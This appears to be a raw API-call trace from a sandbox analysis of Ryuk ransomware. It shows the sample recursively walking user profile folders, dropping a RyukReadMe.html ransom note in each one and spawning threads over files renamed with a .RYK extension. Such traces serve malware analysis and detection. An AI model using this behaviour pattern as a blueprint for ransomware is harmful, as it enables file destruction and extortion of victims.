	[0248.434] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0248.434] GetLastError () returned 0xb7
	[0248.434] CloseHandle (hObject=0x4cc) returned 1
	[0248.434] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.434] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.434] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0248.434] SetLastError (dwErrCode=0x0) 
	[0248.435] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0248.435] GetLastError () returned 0xb7
	[0248.435] CloseHandle (hObject=0x484) returned 1
	[0248.435] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0248.435] SetLastError (dwErrCode=0x0) 
	[0248.435] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0248.435] GetLastError () returned 0xb7
	[0248.435] CloseHandle (hObject=0x484) returned 1
	[0248.436] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0248.436] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.436] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0248.436] SetLastError (dwErrCode=0x0) 
	[0248.436] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0248.436] GetLastError () returned 0xb7
	[0248.436] CloseHandle (hObject=0x4cc) returned 1
	[0248.436] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0248.437] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.437] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0248.437] SetLastError (dwErrCode=0x0) 
	[0248.437] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4
	[0248.437] GetLastError () returned 0xb7
	[0248.437] CloseHandle (hObject=0x4f4) returned 1
	[0248.437] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0248.438] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.438] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0248.438] SetLastError (dwErrCode=0x0) 
	[0248.438] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.438] GetLastError () returned 0x3
	[0248.438] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0248.438] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.438] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0248.439] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.439] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74933560, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x20a, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0248.439] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504
	[0248.443] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.444] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74802a60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x20a, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0248.444] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508
	[0248.789] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.793] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20a, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0248.793] SetLastError (dwErrCode=0x0) 
	[0248.793] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.793] GetLastError () returned 0x3
	[0248.793] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0248.793] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.793] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x214, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0248.793] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x214, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.794] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74a17da0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x214, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0248.794] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510
	[0248.799] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.800] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x214, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.800] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x214, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.800] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0248.800] SetLastError (dwErrCode=0x0) 
	[0248.800] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.800] GetLastError () returned 0x3
	[0248.800] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0248.800] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.800] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x746399e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x20a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.800] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74b488a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x20a, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0248.800] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c
	[0248.804] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.805] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x20a, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0248.805] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514
	[0248.809] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.810] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x20a, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0248.810] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0248.810] SetLastError (dwErrCode=0x0) 
	[0248.810] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.810] GetLastError () returned 0x3
	[0248.810] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0248.810] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.810] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
